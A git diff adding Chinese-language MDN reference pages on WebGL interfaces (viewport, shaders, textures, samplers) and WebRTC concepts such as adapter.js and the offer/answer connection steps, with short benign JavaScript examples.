Browser compatibility

+ + + +

{{Compat("api.WebGLRenderingContext.vertexAttribPointer")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/viewport/index.html b/files/zh-cn/web/api/webglrenderingcontext/viewport/index.html new file mode 100644 index 0000000000..5ec23528a3 --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/viewport/index.html @@ -0,0 +1,91 @@ +--- +title: WebGLRenderingContext.viewport() +slug: Web/API/WebGLRenderingContext/viewport +tags: + - WebGL + - viewport +translation_of: Web/API/WebGLRenderingContext/viewport +--- +
{{APIRef("WebGL")}}
+ +

WebGL APIWebGLRenderingContext.viewport() 方法,用来设置视口,即指定从标准设备到窗口坐标的x、y仿射变换。

+ +

语法

+ +
void gl.viewport(x, y, width, height);
+
+ +

参数

+ +
+
x
+
{{domxref("GLint")}},用来设定视口的左下角水平坐标。默认值:0。
+
y
+
{{domxref("GLint")}},用来设定视口的左下角垂直坐标。默认值:0。
+
width
+
非负数{{domxref("Glsizei")}},用来设定视口的宽度。默认值:canvas的宽度。
+
height
+
非负数{{domxref("Glsizei")}},用来设定视口的高度。默认值:canvas的高度。
+
+ +

返回值

+ +

None.

+ +

异常错误

+ +

只要宽度或高度有一个为负值,gl.INVALID_VALUE错误将被抛出。.

+ +

样例

+ +

当你第一次创建WebGL上下文的时候,视口的大小将和canvas的大小是匹配的。然而,如果你重新改变了canvas的大小,你需要告诉WebGL上下文设定新的视口。在这里,你可以使用gl.viewport。

+ +
gl.viewport(0, 0, canvas.width, canvas.height);
+
+ +

视口的宽度和高度的设定范围是依赖于底层如何实现的。如果你要获取这个范围,你可以查询MAX_VIEWPORT_DIMS 常量,它将返回 {{jsxref("Int32Array")}}。

+ +
gl.getParameter(gl.MAX_VIEWPORT_DIMS);
+// e.g. Int32Array[16384, 16384]
+
+ +

如果要获取当前的视口,则可以查询VIEWPORT 常量。

+ +
gl.getParameter(gl.VIEWPORT);
+// e.g. Int32Array[0, 0, 640, 480]
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.4", "viewport")}}{{Spec2('WebGL')}}Initial definition.
{{SpecName('OpenGL ES 2.0', "glViewport.xml", "glViewport")}}{{Spec2('OpenGL ES 2.0')}}Man page of the OpenGL API.
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGLRenderingContext.viewport")}}

+ +

另见

+ + diff --git "a/files/zh-cn/web/api/webglrenderingcontext/\345\244\232\350\276\271\345\275\242\345\201\217\347\247\273(polygonoffset)/index.html" "b/files/zh-cn/web/api/webglrenderingcontext/\345\244\232\350\276\271\345\275\242\345\201\217\347\247\273(polygonoffset)/index.html" new file mode 100644 index 0000000000..a62d4aeafa --- /dev/null +++ "b/files/zh-cn/web/api/webglrenderingcontext/\345\244\232\350\276\271\345\275\242\345\201\217\347\247\273(polygonoffset)/index.html" @@ -0,0 +1,76 @@ +--- +title: WebGLRenderingContext.polygonOffset() +slug: Web/API/WebGLRenderingContext/多边形偏移(polygonOffset) +translation_of: Web/API/WebGLRenderingContext/polygonOffset +--- +
{{APIRef("WebGL")}}
+ +

The WebGLRenderingContext.polygonOffset() method of the WebGL API specifies the scale factors and units to calculate depth values.

+ +

The offset is added before the depth test is performed and before the value is written into the depth buffer.

+ +

语法

+ +
void gl.polygonOffset(factor, units);
+
+ +

参数

+ +
+
factor
+
A {{domxref("GLfloat")}} which sets the scale factor for the variable depth offset for each polygon. 默认值为 0.
+
units
+
A {{domxref("GLfloat")}} which sets the multiplier by which an implementation-specific value is multiplied with to create a constant depth offset. 默认值为 0.
+
+ +

返回值

+ +

None.

+ +

例子

+ +

The polygon offset fill is disabled by default. To enable or disable polygon offset fill, use the {{domxref("WebGLRenderingContext.enable", "enable()")}} and {{domxref("WebGLRenderingContext.disable", "disable()")}} methods with the argument gl.POLYGON_OFFSET_FILL.

+ +
gl.enable(gl.POLYGON_OFFSET_FILL);
+gl.polygonOffset(2, 3);
+
+ +

想要查看当前多边形偏移的 factor 或 units, 查询 POLYGON_OFFSET_FACTORPOLYGON_OFFSET_UNITS 的内容即可.

+ +
gl.getParameter(gl.POLYGON_OFFSET_FACTOR); // 2
+gl.getParameter(gl.POLYGON_OFFSET_UNITS);  // 3
+
+ +

说明

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.3", "polygonOffset")}}{{Spec2('WebGL')}}Initial definition.
{{SpecName('OpenGL ES 2.0', "glPolygonOffset.xml", "glPolygonOffset")}}{{Spec2('OpenGL ES 2.0')}}Man page of the OpenGL API.
+ +

Browser compatibility

+ + + +

{{Compat("api.WebGLRenderingContext.polygonOffset")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/webglsampler/index.html b/files/zh-cn/web/api/webglsampler/index.html new file mode 100644 index 0000000000..3ec32629d4 --- /dev/null +++ b/files/zh-cn/web/api/webglsampler/index.html @@ -0,0 +1,56 @@ +--- +title: WebGLSampler +slug: Web/API/WebGLSampler +tags: + - API + - WebGL + - WebGL2 + - 参考 + - 实验性 +translation_of: Web/API/WebGLSampler +--- +
{{APIRef("WebGL")}} {{SeeCompatTable}}
+ +

WebGL 2 API 的 WebGLSampler 接口存储一系列采样参数,供 {{domxref("WebGLTexture")}} 在着色器中访问。

+ +

当使用 WebGLSampler 对象时,有以下 {{domxref("WebGL2RenderingContext")}} 相关方法:

+ + + +

示例

+ +

创建 WebGLSampler 对象

+ +

在本例中,gl 必须是一个 {{domxref("WebGL2RenderingContext")}} 对象。因为 WebGLSampler 在 WebGL 1 中是不可用的。

+ +
var sampler = gl.createSampler();
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL2', "#3.3", "WebGLSample")}}{{Spec2('WebGL2')}}初始定义。
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGLSampler")}}

diff --git a/files/zh-cn/web/api/webglshader/index.html b/files/zh-cn/web/api/webglshader/index.html new file mode 100644 index 0000000000..2788d42048 --- /dev/null +++ b/files/zh-cn/web/api/webglshader/index.html @@ -0,0 +1,113 @@ +--- +title: WebGLShader +slug: Web/API/WebGLShader +tags: + - WebGL + - WebGLShader + - 参考 +translation_of: Web/API/WebGLShader +--- +
{{APIRef("WebGL")}}
+ +

WebGL API 的 WebGLShader 可以是一个顶点着色器(vertex shader)或片元着色器(fragment shader)。每个 {{domxref("WebGLProgram")}} 都需要这两种类型的着色器。

+ +

描述

+ +

要创建一个 WebGLShader 需要使用 {{domxref("WebGLRenderingContext.createShader")}},通过 {{domxref("WebGLRenderingContext.shaderSource()")}} 然后挂接GLSL源代码 , 最后调用 {{domxref("WebGLRenderingContext.compileShader()")}} 完成着色器(shader)的编译。 此时 WebGLShader 仍不是可用的形式,他需要被添加到一个 {{domxref("WebGLProgram")}}里.

+ +
function createShader (gl, sourceCode, type) {
+  // Compiles either a shader of type gl.VERTEX_SHADER or gl.FRAGMENT_SHADER
+  var shader = gl.createShader( type );
+  gl.shaderSource( shader, sourceCode );
+  gl.compileShader( shader );
+
+  if ( !gl.getShaderParameter(shader, gl.COMPILE_STATUS) ) {
+    var info = gl.getShaderInfoLog( shader );
+    throw "Could not compile WebGL program. \n\n" + info;
+  }
+  return shader;
+}
+
+ +

参看 {{domxref("WebGLProgram")}} 关于添加着色器的信息.

+ +

范例

+ +

创建一个顶点着色器( vertex shader)

+ +

注意,有很多其他方式编译和访问着色器(shader) 源代码字符串. 这些示例仅用于例证说明。

+ +
var vertexShaderSource =
+  "attribute vec4 position;\n"+
+  "void main() {\n"+
+  "  gl_Position = position;\n"+
+  "}\n";
+
+//从上面例子使用 createShader 函数。
+var vertexShader = createShader(gl, vertexShaderSource, gl.VERTEX_SHADER)
+
+ +

创建一个片元着色器(fragment shader)

+ +
var fragmentShaderSource =
+  "void main() {\n"+
+  "  gl_FragColor = vec4(1.0, 1.0, 1.0, 1.0);\n"+
+  "}\n";
+
+//从上面例子使用 createShader 函数。
+var fragmentShader = createShader(gl, fragmentShaderSource, gl.FRAGMENT_SHADER)
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.8", "WebGLShader")}}{{Spec2('WebGL')}}初次定义
+ +

浏览器兼容性

+ + + +
 
+ +
{{Compat("api.WebGLShader")}}
+ +

参阅

+ + diff --git a/files/zh-cn/web/api/webglshaderprecisionformat/index.html b/files/zh-cn/web/api/webglshaderprecisionformat/index.html new file mode 100644 index 0000000000..ad2c22869a --- /dev/null +++ b/files/zh-cn/web/api/webglshaderprecisionformat/index.html @@ -0,0 +1,56 @@ +--- +title: WebGLShaderPrecisionFormat +slug: Web/API/WebGLShaderPrecisionFormat +translation_of: Web/API/WebGLShaderPrecisionFormat +--- +
WebGLShaderPrecisionFormat 接口是WebGL API 的一部分,它表示通过调用{{domxref("WebGLRenderingContext.getShaderPrecisionFormat()")}}返回信息的信息。
+ +

属性

+ +
+
{{domxref("WebGLShaderPrecisionFormat.rangeMin")}}
+
以2为底的最小值的绝对值的对数。
+
{{domxref("WebGLShaderPrecisionFormat.rangeMax")}}
+
可以表示的最大值的绝对值的底数为2的对数。
+
{{domxref("WebGLShaderPrecisionFormat.precision")}}
+
可以表示的精度位的数目。对于整数类型,这个值总是0。
+
+ +

示例

+ +

WebGLShaderPrecisionFormat 对象通过{{domxref("WebGLRenderingContext.getShaderPrecisionFormat()")}} 方法来返回。

+ +
var canvas = document.getElementById('canvas');
+var gl = canvas.getContext('webgl');
+gl.getShaderPrecisionFormat(gl.VERTEX_SHADER, gl.MEDIUM_FLOAT);
+// WebGLShaderPrecisionFormat { rangeMin: 127, rangeMax: 127, precision: 23 }
+
+ +

规格

+ + + + + + + + + + + + + + +
规格状态注释
{{SpecName('WebGL', "#5.12", "WebGLShaderPrecisionFormat")}}{{Spec2('WebGL')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGLShaderPrecisionFormat")}}

+ +

另请参阅

+ + diff --git a/files/zh-cn/web/api/webglsync/index.html b/files/zh-cn/web/api/webglsync/index.html new file mode 100644 index 0000000000..a569befcff --- /dev/null +++ b/files/zh-cn/web/api/webglsync/index.html @@ -0,0 +1,56 @@ +--- +title: WebGLSync +slug: Web/API/WebGLSync +translation_of: Web/API/WebGLSync +--- +
{{APIRef("WebGL")}} {{SeeCompatTable}}
+ +

The WebGLSync interface is part of the WebGL 2 API and is used to synchronize activities between the GPU and the application.

+ +

When working with WebGLSync objects, the following methods of the {{domxref("WebGL2RenderingContext")}} are useful:

+ + + +

示例

+ +

创建一个WebGLSync对象

+ +

in this example, gl must be a {{domxref("WebGL2RenderingContext")}}. WebGLSync objects are not available in WebGL 1.

+ +
var sync = gl.fenceSync(gl.SYNC_GPU_COMMANDS_COMPLETE, 0);
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL2', "#3.4", "WebGLSync")}}{{Spec2('WebGL2')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGLSync.WebGLSync")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/webgltexture/index.html b/files/zh-cn/web/api/webgltexture/index.html new file mode 100644 index 0000000000..5187d4a762 --- /dev/null +++ b/files/zh-cn/web/api/webgltexture/index.html @@ -0,0 +1,72 @@ +--- +title: WebGLTexture +slug: Web/API/WebGLTexture +tags: + - API + - Reference + - WebGL +translation_of: Web/API/WebGLTexture +--- +
WebGLTexture接口是WebGL API的一部分,为不透明的纹理对象提供储存和状态等纹理操作。
+ +

描述

+ +

WebGLTexture对象自身未定义任何属性或方法, 其内容无法被直接访问。当使用WebGLTexture对象时, {{domxref("WebGLRenderingContext")}} 里的这些方法会很有用:

+ + + +

例子

+ +

创建一个纹理

+ +
var canvas = document.getElementById('canvas');
+var gl = canvas.getContext('webgl');
+var texture = gl.createTexture();
+
+ +

说明

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.9", "WebGLTexture")}}{{Spec2('WebGL')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGLTexture")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/webgluniformlocation/index.html b/files/zh-cn/web/api/webgluniformlocation/index.html new file mode 100644 index 0000000000..7c9fa0669d --- /dev/null +++ b/files/zh-cn/web/api/webgluniformlocation/index.html @@ -0,0 +1,124 @@ +--- +title: WebGLUniformLocation +slug: Web/API/WebGLUniformLocation +tags: + - API + - WebGL + - WebGLUniformLocation +translation_of: Web/API/WebGLUniformLocation +--- +
{{APIRef("WebGL")}}
+ +

WebGLUniformLocation 接口是 WebGL API 的一部分,在一个着色器程序中表示一个统一变量的位置。

+ +

说明:

+ +

WebGLUniformLocation 对象未定义任何属于自己并能直接访问其内容的方法和属性。在使用 WebGLUniformLocation 对象时,{{domxref("WebGLRenderingContext")}} 的方法是有用的:

+ + + +

示例:

+ +

获取一个统一位置

+ +
var canvas = document.getElementById("canvas");
+var gl = canvas.getContext("webgl");
+
+var location = gl.getUniformLocation(WebGLProgram, "uniformName");
+ +

规格:

+ + + + + + + + + + + + + + +
规格状态注释
{{SpecName('WebGL', "#5.10", "WebGLUniformLocation")}}{{Spec2('WebGL')}}初始的定义。
+ +

浏览器兼容性:

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
特性谷歌Chrome火狐Firefox (Gecko)微软Internet Explorer欧朋Opera苹果Safari
基础支持{{CompatChrome("9")}}{{CompatGeckoDesktop("2.0")}}{{CompatIE("11")}}{{CompatOpera("12")}}{{CompatSafari("5.1")}}
可用版本{{CompatNo}}{{CompatGeckoDesktop(44)}} [1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
特性安卓Android谷歌Chrome(安卓版)火狐Firefox(Gecko)(移动版)微软IE(移动版)欧朋Opera(移动版)苹果Safari(移动版)
基础支持{{CompatUnknown}}25{{CompatVersionUnknown}}{{CompatUnknown}}128.1
可用版本{{CompatNo}}{{CompatNo}}{{CompatGeckomobile(44)}} [1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] 这是特性首选项之后的特性。在 关于:配置,设置 gfx.offscreencanvas.enabled 为true。

+ +

另请参阅:

+ + diff --git a/files/zh-cn/web/api/webglvertexarrayobject/index.html b/files/zh-cn/web/api/webglvertexarrayobject/index.html new file mode 100644 index 0000000000..21a2ce0d0a --- /dev/null +++ b/files/zh-cn/web/api/webglvertexarrayobject/index.html @@ -0,0 +1,65 @@ +--- +title: WebGLVertexArrayObject +slug: Web/API/WebGLVertexArrayObject +tags: + - API + - Reference + - WebGL + - WebGL2 +translation_of: Web/API/WebGLVertexArrayObject +--- +
{{APIRef("WebGL")}}
+ +

WebGLVertexArrayObject接口是WebGL 2 API的一部分,顶点数组对象(VAOs)指向顶点数组数据,并提供不同顶点数据集合的名称。

+ +

当使用WebGLVertexArrayObject对象时,这些方法会很有用:

+ + + +
+

WebGL 1:  {{domxref("OES_vertex_array_object")}} 扩展允许你在WebGL 1 上下文环境中使用顶点数组对象。

+
+ +

示例

+ +
var vao = gl.createVertexArray();
+gl.bindVertexArray(vao);
+
+// ...
+// calls to bindBuffer or vertexAttribPointer
+// which will be "recorded" in the VAO
+// ...
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL2', "#3.6", "WebGLVertexArrayObject")}}{{Spec2('WebGL2')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGLVertexArrayObject")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/webrtc_api/adapter.js/index.html b/files/zh-cn/web/api/webrtc_api/adapter.js/index.html new file mode 100644 index 0000000000..f09f219b51 --- /dev/null +++ b/files/zh-cn/web/api/webrtc_api/adapter.js/index.html @@ -0,0 +1,40 @@ +--- +title: Improving compatibility using WebRTC adapter.js +slug: Web/API/WebRTC_API/adapter.js +translation_of: Web/API/WebRTC_API/adapter.js +--- +

{{WebRTCSidebar}}

+ +

虽然 WebRTC 规范已经相对健全稳固了,但是并不是所有的浏览器都实现了它所有的功能。除此之外。有些浏览器需要在一些或者所有的 WebRTC API上添加前缀才能正常使用。尽管你可以自己写代码解决这种问题,但是还有一个比较简单的方法。WebRTC 组织在github上提供了一个 WebRTC适配器(WebRTC adapter)来解决在不同浏览器上实现 WebRTC 的兼容性问题。这个适配器是一个JavaScript垫片,它可以让你根据 WebRTC 规范描述的那样去写代码,在所有支持 WebRTC的浏览器中不用去写前缀或者其他兼容性解决方法。

+ +
+

注意: 由于WebRTC和支持的浏览器中的API的功能和命名在不断变动,推荐使用这个适配器。

+
+ +

这个 adapter(适配器)是基于BSD开源协议的。

+ +

adapter.js 是干什么的

+ +

对于每个支持 WebRTC 的浏览器的各个版本,adapter.js添加必要的polyfills(填充),使用没有前缀的API,以及使用一些修改让浏览器可以运行根据 WebRTC 规范写的代码。

+ +

举个例子,在火狐浏览器版本号38之前,adapter 增加了{{domxref("RTCPeerConnection.urls")}}属性;火狐浏览器并不原生的支持这个属性直到38版本,然而在谷歌浏览器中如果API不支持{{jsxref("Promise")}} 就添加支持。这只是一些例子;当然还有其他措施来实现这种统一API。

+ +

WebRTC adapter现在支持火狐、谷歌、和Edge浏览器

+ +

使用adapter.js

+ +

要使用 adapter.js,你需要在使用 WebRTC APIs 的每个页面都引入 adapter.js :

+ +
    +
  1. 从GitHub上下载一个最新adapter.js的副本。
  2. +
  3. 在你的网站文件目录里添加这个文件(比如在放在scripts目录下)。
  4. +
  5. 在你的项目里包含这个文件:<script src="adapter.js"></script>
  6. +
  7. 写代码,按照 WebRTC APIs 规范去写,知道你的代码应该在所有浏览器上工作。
  8. +
  9. 注意,即使有一个像这样优秀的 adapter 并不意味着你不需要在不同的浏览器上测试代码(以及在同一个浏览器中的不同版本)。
  10. +
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/webrtc_api/architecture/index.html b/files/zh-cn/web/api/webrtc_api/architecture/index.html new file mode 100644 index 0000000000..d1db1d4b69 --- /dev/null +++ b/files/zh-cn/web/api/webrtc_api/architecture/index.html @@ -0,0 +1,17 @@ +--- +title: WebRTC 架构概览 +slug: Web/API/WebRTC_API/Architecture +tags: + - WebRTC 架构概览 +translation_of: Web/API/WebRTC_API/Protocols +--- +

{{WebRTCSidebar}}

+ +

用来创建WebRTC连接的API底层使用了一系列的网络协议和连接标准。这篇文章涵盖了这些标准。

+ +

为了让WebRTC正常工作,需要的协议、标准和API比较繁多。因此对于初学者来说可能会比较难以理解。当你一旦上手,你会惊喜地发现原来这一切都是如此的优雅和简单易懂。至于你信不信,反正我是信了。

+ + + + +

重定向 WebRTC 协议介绍

diff --git a/files/zh-cn/web/api/webrtc_api/connectivity/index.html b/files/zh-cn/web/api/webrtc_api/connectivity/index.html new file mode 100644 index 0000000000..647cce7449 --- /dev/null +++ b/files/zh-cn/web/api/webrtc_api/connectivity/index.html @@ -0,0 +1,85 @@ +--- +title: WebRTC connectivity +slug: Web/API/WebRTC_API/Connectivity +tags: + - API + - Advanced + - WebRTC + - 媒体 + - 指南 + - 草案 + - 视频 + - 音频 +translation_of: Web/API/WebRTC_API/Connectivity +--- +

{{WebRTCSidebar}}{{draft}}

+ +

现在我们已经单独介绍了协议,我们可以将它们放在一起。 本文介绍了 WebRTC各种相关协议如何相互交互,以便在对等体之间创建连接和传输数据和/或媒体。

+ +
+

这个页面需要对结构完整性和内容完整性进行大量重写。这里有很多信息,但是组织混乱,现在这里跟个垃圾场一样。

+
+ +

什么是提议/应答和信号通道?

+ +

不幸的是,WebRTC中间无法创建没有某种服务器的连接。 我们称之为信号通道。 无论是通过电子邮件,明信片还是一只信鸽...,都可以通过任何通信方式交换信息,这取决于你。

+ +

我们需要交换的信息是提议和应答,其中仅包含下面提到的SDP。

+ +

将作为连接发起者的同伴A将创建一个提议。 然后他们将使用所选择的信号通道将此提议发送给对等体B. 对等体B将从信号通道接收提议并创建应答。 然后,它们将沿着信号通道发送回对等体A。

+ +

会话描述

+ +

WebRTC连接上的端点配置称为会话描述。 该描述包括关于要发送的媒体类型,其格式,正在使用的传输协议,端点的IP地址和端口以及描述媒体传输端点所需的其他信息的信息。 使用会话描述协议({{Glossary("SDP")}})来交换和存储该信息; 如果您想要有关SDP数据格式的详细信息,可以在{{RFC(2327)}}中找到。

+ +

当用户对另一个用户启动WebRTC调用时,将创建一个称为提议(offer)的特定描述。 该描述包括有关呼叫者建议的呼叫配置的所有信息。 接收者然后用应答(answer)进行响应,这是他们对呼叫结束的描述。 以这种方式,两个设备彼此共享以便交换媒体数据所需的信息。 该交换是使用交互式连接建立(ICE)({{Glossary("ICE")}}处理的,这是一种协议,即使两个设备通过网络地址转换({{Glossary( "NAT")}})。

+ +

然后,每个对等端保持两个描述:描述本身的本地描述和描述呼叫的远端的远程描述

+ +

在首次建立呼叫时,还可以在呼叫格式或其他配置需要更改的任何时候执行提议/应答过程。 无论是新呼叫还是重新配置现有的呼叫,这些都是交换提议和回答所必需的基本步骤,暂时忽略了ICE层:

+ +
    +
  1. 呼叫者通过 {{domxref("navigator.mediaDevices.getUserMedia()")}} 捕捉本地媒体。
  2. +
  3. 呼叫者创建一个RTCPeerConnection 并调用 {{domxref("RTCPeerConnection.addTrack()")}} (注: addStream 已经过时。)
  4. +
  5. 呼叫者调用 ("RTCPeerConnection.createOffer()")来创建一个提议(offer).
  6. +
  7. 呼叫者调用 ("RTCPeerConnection.setLocalDescription()") 将提议(Offer)   设置为本地描述 (即,连接的本地描述).
  8. +
  9. setLocalDescription()之后, 呼叫者请求 STUN 服务创建ice候选(ice candidates)
  10. +
  11. 呼叫者通过信令服务器将提议(offer)传递至 本次呼叫的预期的接受者.
  12. +
  13. 接受者收到了提议(offer) 并调用 ("RTCPeerConnection.setRemoteDescription()") 将其记录为远程描述 (也就是连接的另一端的描述).
  14. +
  15. 接受者做一些可能需要的步骤结束本次呼叫:捕获本地媒体,然后通过{{domxref("RTCPeerConnection.addTrack()")}}添加到连接中。
  16. +
  17. 接受者通过("RTCPeerConnection.createAnswer()")创建一个应答。
  18. +
  19. 接受者调用 ("RTCPeerConnection.setLocalDescription()") 将应答(answer)   设置为本地描述. 此时,接受者已经获知连接双方的配置了.
  20. +
  21. 接受者通过信令服务器将应答传递到呼叫者.
  22. +
  23. 呼叫者接受到应答.
  24. +
  25. 呼叫者调用 ("RTCPeerConnection.setRemoteDescription()") 将应答设定为远程描述. 如此,呼叫者已经获知连接双方的配置了.
  26. +
+ +

待定的和当前描述

+ +

进一步了解该过程,我们发现localDescription和remoteDescription(返回这两个描述的属性 )并不像外观那样简单。 因为在重新协商期间,提议可能会被拒绝,因为它提出了不兼容的格式,每个端点都有能力提出一种新的格式,但是实际上不会切换到另一个对等体,直到它被其他对等体接受为止。 因此,WebRTC使用待定和当前的描述。

+ +

当前描述(由 ("RTCPeerConnection.currentLocalDescription") 和 ("RTCPeerConnection.currentRemoteDescription") 属性返回 )表示连接实际使用的描述。 这是双方已经完全同意使用的最新连接。

+ +

待定的描述(由 ("RTCPeerConnection.pendingLocalDescription" ) 和 ("RTCPeerConnection.pendingRemoteDescription") 返回 )表示当 分别调用setLocalDescription( )或setRemoteDescription( )。

+ +

当读取描述( ("RTCPeerConnection.localDescription" ) 和 ("RTCPeerConnection.remoteDescription" )  )返回时,返回的值是pendingLocalDescription / pendingRemoteDescription的值,如果有待处理的描述( 也就是说,待处理描述不为null ); 否则,返回当前描述(currentLocalDescription / currentRemoteDescription )。

+ +

通过调用setLocalDescription( )或setRemoteDescription( )更改描述时,将指定的描述设置为待定描述,WebRTC层开始评估是否可以接受。 一旦建议的描述已经达成一致,currentLocalDescription或currentRemoteDescription的值将更改为待处理描述,并且待处理的描述再次设置为null,表示没有待处理的描述。

+ +
+

pendingLocalDescription不仅包含正在考虑的提议或答案,而且自从提议或应答以来已经收集到的任何本地ICE候选人都被创建。 类似地,pendingRemoteDescription包括通过调用 ("RTCPeerConnection.addIceCandidate( )" ) 提供的任何远程ICE候选。

+
+ +

有关这些属性和方法的更多细节,请参阅各个文章。

+ +

什么是ICE候选地址?

+ +

除了交换关于媒体的信息(上面提到的Offer / Answer和SDP )中,对等体必须交换关于网络连接的信息。 这被称为ICE候选者,并详细说明了对等体能够直接或通过TURN服务器进行通信的可用方法。 通常,每个对点将优先提出最佳的ICE候选,逐次尝试到不佳的候选中。 理想情况下,候选地址是UDP(因为速度更快,媒体流能够相对容易地从中断恢复 ),但ICE标准也允许TCP候选。

+ +
+

一般来说,使用TCP的ICE候选者只有当UDP不可用或被限制使其不适用于媒体流时才会被使用。 不是所有的浏览器都支持ICE over TCP。

+
+ +

The entire exchange in a complicated diagram

+ +

A complete architectural diagram showing the whole WebRTC process.

diff --git a/files/zh-cn/web/api/webrtc_api/index.html b/files/zh-cn/web/api/webrtc_api/index.html new file mode 100644 index 0000000000..de5a87f5c5 --- /dev/null +++ b/files/zh-cn/web/api/webrtc_api/index.html @@ -0,0 +1,131 @@ +--- +title: WebRTC API +slug: Web/API/WebRTC_API +tags: + - API + - WebRTC + - 中文 +translation_of: Web/API/WebRTC_API +--- +

{{WebRTCSidebar}}

+ +

WebRTC (Web Real-Time Communications) 是一项实时通讯技术,它允许网络应用或者站点,在不借助中间媒介的情况下,建立浏览器之间点对点(Peer-to-Peer)的连接,实现视频流和(或)音频流或者其他任意数据的传输。WebRTC包含的这些标准使用户在无需安装任何插件或者第三方的软件的情况下,创建点对点(Peer-to-Peer)的数据分享和电话会议成为可能。

+ +

WebRTC包含了若干相互关联的API和协议以达到这个目标。你在这里看到的文档将会帮助你理解WebRTC的基本概念,还会教你如何去建立和使用可以传输媒体数据和其他任意数据的连接。当然你还会学到更多其他的东西。

+ +

参考

+ +
+ +
+ +

指南

+ +
+
WebRTC 架构概述
+
用来创建WebRTC连接的API底层使用了一系列的网络协议和连接标准。这篇文章涵盖了这些标准。
+
WebRTC 基础
+
这篇文建将带你贯穿一个跨浏览器RTC应用的整个创建过程。结束的时候,你将拥有一个可以运行的点对点(peer-to-peer)数据通道(data channel)和媒体通道(media channel)。
+
WebRTC 协议
+
这篇文章介绍了一系列的协议,WebRTC API就是建立于他们之上。
+
WebRTC 连接
+
这篇文章将向你介绍为创建点对点的连接并且实现数据或/和媒体的传输,各个WebRTC相关的协议是如何相互协作的。
+
WebRTC API 概览
+
WebRTC包含了一些关联的API和协议,它们相互协作以支持数据或媒体在两个或多个点之间传输。这篇文章将向你展示这些API的简要介绍以及它们的用途。
+
WebRTC 会话的生命周期
+
WebRTC让你可以在基于浏览器应用中实现任意点对点(peer-to-peer)的数据、音频、视频 或它们的任意组合的通信。在这篇文章中我们一起来看一下WebRTC的生命周期。从建立连接开始,一直到不再需要的时候将它关闭掉。
+
+ +

教程

+ +
+
使用WebRTC adapter.js提高应用的兼容性
+
WebRTC组织在GitHub上提供了WebRTC适配器,来解决因不同浏览器对WebRTC实现不同导致的问题。adapter.js是一个JavaScript库,可以让你写的WebRTC应用“一处编写,处处运行”。
+
使用WebRTC拍摄静止的照片
+
这篇文章介绍了如何在WebRTC的支持下可以访问到电脑或者手机的摄像头并且使用它来拍摄照片。
+
一个简易RTCDataChannel的例子
+
{{domxref("RTCDataChannel")}} 接口是一个特性,使用它你可以在两个点之间发送和接收任意数据。它的API和WebSocket API非常相似,所以同样的代码对他们来说都可以使用。
+
+ + + +

协议

+ +

WebRTC-proper protocols

+ + + +

相关的支持协议

+ + + +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
标准状态说明
{{SpecName('WebRTC 1.0')}}{{Spec2('WebRTC 1.0')}}WebRTC API 的初始定义
{{SpecName('Media Capture')}}{{Spec2('Media Capture')}} +

传输媒体内容流的对象的初始定义

+
{{SpecName('Media Capture DOM Elements')}}{{Spec2('Media Capture DOM Elements')}} +

如何从DOM标签的内容中获取流的初始定义

+
+ + + + + + diff --git a/files/zh-cn/web/api/webrtc_api/overview/index.html b/files/zh-cn/web/api/webrtc_api/overview/index.html new file mode 100644 index 0000000000..b037d259cd --- /dev/null +++ b/files/zh-cn/web/api/webrtc_api/overview/index.html @@ -0,0 +1,22 @@ +--- +title: WebRTC API overview +slug: Web/API/WebRTC_API/Overview +translation_of: Web/API/WebRTC_API#WebRTC_concepts_and_usage +--- +

{{WebRTCSidebar}}

+ +

WebRTC是由一些关联的API和协议一起协作,支持两个或多个终端之间交换数据和媒体信息的技术。这篇文章提供了这些APIs的介绍和提供的功能。

+ +

RTCPeerConnection

+ +

在媒体能够交换,或者数据通道建立之前,你需要把两个终端连接起来。这个连接过程的完成就是使用{{domxref("RTCPeerConnection")}} 接口。

+ +

MediaStream

+ +

{{domxref("MediaStream")}}接口描述了终端之间传输的媒体流。这个流由一个或多个媒体通道信息;通常这是一个音频通道或者视频通道信息。一个媒体流能够传输实时的媒体(例如音频通话或者视频会议等)或者已存的媒体(例如网上电影)。

+ +

RTCDataChannel

+ +

WebRTC支持在建立连接的两个终端之间相互的传输二进制数据。这个过程通过{{domxref("RTCDataChannel")}}接口。

+ +

这个接口可以作为数据的反向通道,甚至作为主要的数据通道去交换各种数据。例如在游戏应用中,通过这个接口可以实现多玩家支持,相互传送玩家的动作更新之类的数据。

